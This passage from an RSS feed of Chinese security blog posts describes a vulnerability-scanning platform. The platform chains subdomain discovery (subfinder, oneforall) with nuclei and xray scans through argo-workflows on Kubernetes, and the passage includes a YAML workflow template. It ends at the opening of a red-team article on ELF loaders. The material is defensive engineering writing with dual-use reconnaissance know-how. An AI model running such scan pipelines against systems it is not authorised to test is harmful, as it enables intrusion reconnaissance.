bold;font-size: 22px;"><span style="display: none;"></span>怎么管理扫描任务？</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">你可以在控制台上管理扫描任务，具体办法如下。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">浏览器输入 <code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><a href="http://asm控制台地址/argo" target="_blank">http://asm控制台地址/argo</a></code> 地址，进入到argo界面，点击<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Submit Workflow</code>按钮，选择一个模板后，创建一个扫描任务.</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4287037037037037" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=53db0ce2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYwu1Zq4xucG3pTwyb1ZLmiaicMApGSCcgDFZvcRcWArYY9Fydwlic84LYljoOE9VFthTBDtD8jBLpicxA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>怎么管理任务模板？</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">你可以在控制台上管理任务模板 ，目前默认有五个工作流，功能分别是：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">从API获取兄弟域名-获取子域名-nuclei扫描-保存结果</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">从API获取兄弟域名-获取子域名-katana爬虫-xray扫描-保存结果</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">获取子域名-nuclei扫描-保存结果</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">获取子域名-katana爬虫-xray扫描-保存结果</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">nuclei扫描-保存结果</section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">子域名扫描用到<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">oneforall</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">subfinder</code>等工具。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当然你也可以定义自己的任务模板，可以参考<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">helm/templates/argo</code>目录下的模板文件。</p></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://github.com/leveryd-asm/asm">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=82acce0a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMDIxMjE5MA%3D%3D%26mid%3D2247485293%26idx%3D1%26sn%3D35477b4533013ff0df64247d93b7f848%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 27 Dec 2022 23:26:00 +0800</pubDate>
    </item>
    <item>
      <title>基于任务编排玩一玩漏扫</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247485271&amp;idx=1&amp;sn=8aba702fbb1af37100cf12fb4cf380ca</link>
      <description>背景攻防两端对外网资产的安全风险都很关注，在资源有限的情况下，怎么低成本地实现性能、扩展性都不错的、易运维的</description>
      <content:encoded><![CDATA[<p>
原创 <span>leveryd</span> <span>2022-12-19 23:24</span> <span style="display: inline-block;">北京</span>
</p>

<p>背景攻防两端对外网资产的安全风险都很关注，在资源有限的情况下，怎么低成本地实现性能、扩展性都不错的、易运维的</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=5807cc1f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFwyeCXsWiaYyx7UsYxicFIjOfwRZFDTwkTfvicfR1JTKLozfIoibsFVblNCo2sejGvYGgQOloVxtzNnYv1qtL0iapeg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>背景</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">攻防两端对外网资产的安全风险都很关注，在资源有限的情况下，怎么低成本地实现性能、扩展性都不错的、易运维的漏扫平台呢？</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">本篇站在白帽子的视角，聊一聊我的思路和实践。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">本文会涉及到以下内容：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">任务编排是什么？为什么需要任务编排？</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">任务编排在各公司的实践</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">我的方案？技术选型时的考量</section></li></ul><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>充分利用开源工具</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">我们可以通过粘合现有的工具做成一个扫描器，比如通过以下工具可以粗略完成资产收集、漏洞扫描</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.3005299015897048" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="2642" src="https://wechat2rss.xlab.app/img-proxy/?k=52b02b7a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYyx7UsYxicFIjOfwRZFDTwkTAGWNJQRLa49k1S5MExl5DDm8w9H92tiasRBfAFlLJrdm7pJJpHpBp9A%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">但是这里存在几个问题：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">运维上的问题：想一想重新部署这种扫描器所需要的工作量，比如在新机器上你是否需要安装很多程序的依赖、修改很多程序配置；怎么知道扫描任务是否按照预期运行？能否统计出来任务执行中哪个环节最慢？</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">扩展性上的问题：当有一个效果更好的子域名发现工具时，无论它是什么语言写的，是否能够很方便地集成？是否能够方便地和公司 cmdb、工单平台集成？</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">性能上的问题：当有一个应急类的任务需要你在一天内对百万机器全端口做漏洞探测时，是否可以完成？能否自动扩容？</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">可用性上的问题：服务挂掉了是否能感知、自动恢复？某个扫描任务失败时能否感知、自动重试？</section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">针对上面问题，下面我想向你介绍我的解决方法和思考过程。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>使用 docker</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">我们可以想一下代码中集成工具，碰到技术栈不同怎么办？比如我们扫描引擎是 python 语言编写的，我们可以通过子命令调用 nmap，通过函数调用 oneforall，但如果某个工具(比如爬虫)是 nodejs 写的，这个时候怎么跨语言调用？而且我们还需要考虑到在部署时，我们还需要安装 c、go 程序依赖的系统动态库，python、java 程序依赖的解释器、lib 库，这些环节可能会出现意想不到的问题。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">我们可以把程序构建成镜像，然后以命令行或者 api 服务的形式，向外部提供服务。这样工具无论是什么语言编写的，只要打包成镜像，就能以相同的方式被调用，也不用操心依赖的事情。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">与此同时应用升级也会变得简单一点，我们可以用 github workflow 做镜像构建和推送、镜像 tag 管理应用版本。当然，我们也可以基于 kubernetes 生态来编排、管理服务。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>基于 kubernetes 生态</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">基于 kubernetes 的 service 机制，我们很容易能够提供可用性、性能更好的服务，比如把 xray 打包成镜像后，以 service 形式暴露代理和漏扫功能。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">基于 kubernetes 的健康检查机制、deployment 对象，也很方便地实现服务故障的感知和自动恢复。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">kubernetes 生态也提供很大的便利。比如，基于 helm 很容易部署和升级服务，基于 kubesphere 可视化地管理集群和服务。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">到这里有一个问题要考虑，子域名收集工具(oneforall/subfinder)、poc 扫描工具(nulei)这些能力应该以什么样的形式提供服务？它们本身能以命令行的方式被调用，那么有必要封装成 api 服务的形式吗？</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如果要封装成 api 服务，就需要编写 api，这个 api 输入参数和命令行参数的映射关系也需要考虑，这里会有一些工作量，而且会让工具变得不灵活。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">不论怎么样，调用方想要完成一次扫描，就需要调用各个能力，把整个工作流串起来。这个时候可以选择编写代码调用，但是更好的做法是基于任务编排来做这件事。下面向你介绍任务编排、它怎么应用在漏扫中。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>任务编排</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">任务编排是什么呢？按照我的理解，我们用 dsl 语言去描述任务，提交任务后，编排引擎最终可以完成任务。kubernetes、<span style="color: #1e6bb8;font-weight: bold;">nuclei workflow</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[1]</sup>、github action 都有提供这种能力。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">为什么我们需要任务编排呢？任务编排能够让我们以声明配置的方式，而不是写代码的方式去实现任务，这里最大的好处我理解是节省了工作量，很多相似的业务需求抽象出来让编排引擎统一实现了。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在前期调研阶段，我也发现有一些厂商漏扫平台是以任务编排为核心构建的，比如 <span style="color: #1e6bb8;font-weight: bold;">潮汐开源社区</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[2]</sup>，也了解到 soar、bas 产品的核心也在于任务编排，比如华云安的<span style="color: #1e6bb8;font-weight: bold;">漏洞管理之自动化（Automation）</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[3]</sup>、<span style="color: #1e6bb8;font-weight: bold;">腾讯 SOAR 的安全运营探索</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[4]</sup>、<span style="color: #1e6bb8;font-weight: bold;">安全运营之 SOAR：架构雏形</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[5]</sup>。甲方厂商中也有以任务编排为核心的安全服务架构设计，见 <span style="color: #1e6bb8;font-weight: bold;">宜信分布式安全服务编排实践</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[6]</sup>。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>任务编排引擎的技术选型</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">针对漏扫会有的需求：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">支持定时任务，支持手动执行任务：定时任务可以用来实现日常巡检，手动执行任务可以应对应急类扫描、单次测试某个任务的场景</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">支持任务管理，包括任务启动、停止、恢复、删除、执行记录(包括程序日志、运行时间)、执行进度、失败任务记录和自动重试</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">支持多个业务逻辑单元的组合：比如&#34;子域名收集-指定端口 poc 扫描&#34;、&#34;子域名收集端口扫描-poc 扫描&#34;、&#34;子域名收集-爬虫-漏扫&#34;</section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">以前工作中，还遇到过业务方要求只能晚上扫描。还有某些信息收集阶段会有些误报，需要人工修改后才能继续后面的扫描。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">面对这些需求，我调研了 <span style="color: #1e6bb8;font-weight: bold;">argo-workflows</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[7]</sup>、<span style="color: #1e6bb8;font-weight: bold;">w5 soar</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[8]</sup> 两个开源的编排引擎。编排引擎我觉得很重要的是怎么调用应用、怎么在应用间传递数据，可视化任务编排对我来说不重要。w5 soar 只支持调用 python 应用，而不支持调用容器应用，argo-workflows 基于 kubernetes 调度，提供 ui、api、sdk、cmd 等交互方式，非常满足我的需求。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">你可以参考argo-workflows的文档，结合我下面的模板体验一把拼积木式的漏扫开发。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>玩一玩 argo-workflows</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">以下任务模板中，main 是一个&#34;subfinder 子域名收集-nuclei 扫描-存储扫描结果&#34;的工作流</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">spec:<br/>  templates:<br/>    - name: main<br/>      inputs:<br/>        parameters:<br/>          - name: domain<br/>      steps:<br/>        - - name: subdomain<br/>            template: subdomain<br/>            arguments:<br/>              parameters:<br/>                - name: domain<br/>                  value: <span style="color: #98c379;line-height: 26px;">&#39;{{inputs.parameters.domain}}&#39;</span><br/>        - - name: nuclei<br/>            template: nuclei<br/>            arguments:<br/>              artifacts:<br/>                - name: hosts<br/>                  raw:<br/>                    data: <span style="color: #98c379;line-height: 26px;">&#39;{{steps.subdomain.outputs.result}}&#39;</span><br/>        - - name: save-nuclei<br/>            template: save-nuclei<br/>            arguments:<br/>              artifacts:<br/>                - name: result<br/>                  from: <span style="color: #98c379;line-height: 26px;">&#39;{{steps.nuclei.outputs.artifacts.nuclei-result}}&#39;</span><br/>    - name: subdomain<br/>      inputs:<br/>        parameters:<br/>          - name: domain<br/>      container:<br/>        name: main<br/>        image: projectdiscovery/subfinder:v2.5.5<br/>        args:<br/>          - <span style="color: #98c379;line-height: 26px;">&#39;-d&#39;</span><br/>          - <span style="color: #98c379;line-height: 26px;">&#39;{{inputs.parameters.domain}}&#39;</span><br/>        resources: {}<br/>    - name: nuclei<br/>      inputs:<br/>        artifacts:<br/>          - name: hosts<br/>            path: /tmp/host<br/>      container:<br/>        image: projectdiscovery/nuclei:v2.8.3<br/>        <span style="color: #e6c07b;line-height: 26px;">command</span>:<br/>          - nuclei<br/>        args:<br/>          - <span style="color: #98c379;line-height: 26px;">&#39;-l&#39;</span><br/>          - /tmp/host<br/>          - <span style="color: #98c379;line-height: 26px;">&#39;-t&#39;</span><br/>          - exposures,misconfiguration,cnvd,vulnerabilities,workflows,exposed-panels<br/>          - <span style="color: #98c379;line-height: 26px;">&#39;-es&#39;</span><br/>          - info<br/>          - <span style="color: #98c379;line-height: 26px;">&#39;-o&#39;</span><br/>          - /tmp/nuclei-result.json<br/>      outputs:<br/>        artifacts:<br/>          - name: nuclei-result<br/>            path: /tmp/nuclei-result.json<br/>    - name: save-nuclei<br/>      inputs:<br/>        artifacts:<br/>          - name: result<br/>            path: /tmp/result<br/>      container:<br/>        image: leveryd/x-tool:v2022.12.14<br/>        args:<br/>          - <span style="color: #98c379;line-height: 26px;">&#39;-f&#39;</span><br/>          - /tmp/result<br/>          - <span style="color: #98c379;line-height: 26px;">&#39;-api&#39;</span><br/>          - <span style="color: #98c379;line-height: 26px;">&#39;<a href="http://192.168.0.110:30274" target="_blank">http://192.168.0.110:30274</a>&#39;</span>  <span style="color: #5c6370;font-style: italic;line-height: 26px;"># todo:config</span><br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">启动一个扫描任务实例</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5424836601307189" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1836" src="https://wechat2rss.xlab.app/img-proxy/?k=fa61b2c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYyx7UsYxicFIjOfwRZFDTwkTu3UicQcKX5YefhbAsooBgKSg6rXZrI4IovITCYJozcDbNkgBJqTh3ew%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">查看任务实例状态</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5291044776119403" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="2680" src="https://wechat2rss.xlab.app/img-proxy/?k=04bfd12a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYyx7UsYxicFIjOfwRZFDTwkT4Ho6icgmjFgrPFHctQQkAkQvTBQsiayQLvHgUrqLq6YcwKAUSjEXa5Vg%2F640%3Fwx_fmt%3Dpng"/></figure><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>总结</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">基于开源的安全工具、argo-workflows 编排引擎可以低成本的实现性能和扩展性都还不错的漏扫功能，基于 helm、kubesphere、argo-workflows ui 可以方便运维漏扫服务。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">argo-workflows 的社区感觉不是很活跃，欢迎加我微信 happy_leveryd 和我交流。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: block;">参考资料</span></h3><section data-tool="mdnice编辑器"><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[1]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">nuclei workflow: <em><a href="https://nuclei.projectdiscovery.io/templating-guide/workflows/" target="_blank">https://nuclei.projectdiscovery.io/templating-guide/workflows/</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[2]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">潮汐开源社区: <em><a href="https://lev.zone/" target="_blank">https://lev.zone/</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[3]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">漏洞管理之自动化（Automation）: <em><a href="https://www.freebuf.com/articles/security-management/246149.html" target="_blank">https://www.freebuf.com/articles/security-management/246149.html</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[4]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">腾讯 SOAR 的安全运营探索: <em><a href="https://security.tencent.com/index.php/blog/msg/196" target="_blank">https://security.tencent.com/index.php/blog/msg/196</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[5]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">安全运营之 SOAR：架构雏形: <em><a href="https://www.freebuf.com/articles/es/256988.html" target="_blank">https://www.freebuf.com/articles/es/256988.html</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[6]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">宜信分布式安全服务编排实践: <em><a href="https://www.infoq.cn/article/9bslvn96torgkjxxuc4n" target="_blank">https://www.infoq.cn/article/9bslvn96torgkjxxuc4n</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[7]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">argo-workflows: <em><a href="https://github.com/argoproj/argo-workflows" target="_blank">https://github.com/argoproj/argo-workflows</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[8]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">w5 soar: <em><a href="https://github.com/w5teams/w5" target="_blank">https://github.com/w5teams/w5</a></em></p></span></section></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485271">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ad5438d6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMDIxMjE5MA%3D%3D%26mid%3D2247485271%26idx%3D1%26sn%3D8aba702fbb1af37100cf12fb4cf380ca%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 19 Dec 2022 23:24:00 +0800</pubDate>
    </item>
    <item>
      <title>蓝军和elf loader</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247485257&amp;idx=1&amp;sn=7d1e956b2eff72df00496ca320fcecb0</link>
      <description>背景在linux系统上执行二进制文件一般会用到execve系统调用，比如下面的执行sleep 1000[ro</description>
      <content:encoded><![CDATA[<p>
原创 <span>leveryd</span> <span>2022-11-16 19:06</span> <span style="display: inline-block;">北京</span>
</p>

<p>背景在linux系统上执行二进制文件一般会用到execve系统调用，比如下面的执行sleep 1000[ro</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=fd8aead4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFwyeCXsWiaYxVl4BUibPC5PZ7AKwSPEYRFPicN3oVFenMPG1FsxicnxMTgUL2iciaMqoD9mVhygfiaRibXEsdxq04b3sFw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>背景</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在linux系统上执行二进制文件一般会用到execve系统调用，比如下面的执行<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">sleep 1000</code></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">[root@instance-h9w7mlyv ~]<span style="color: 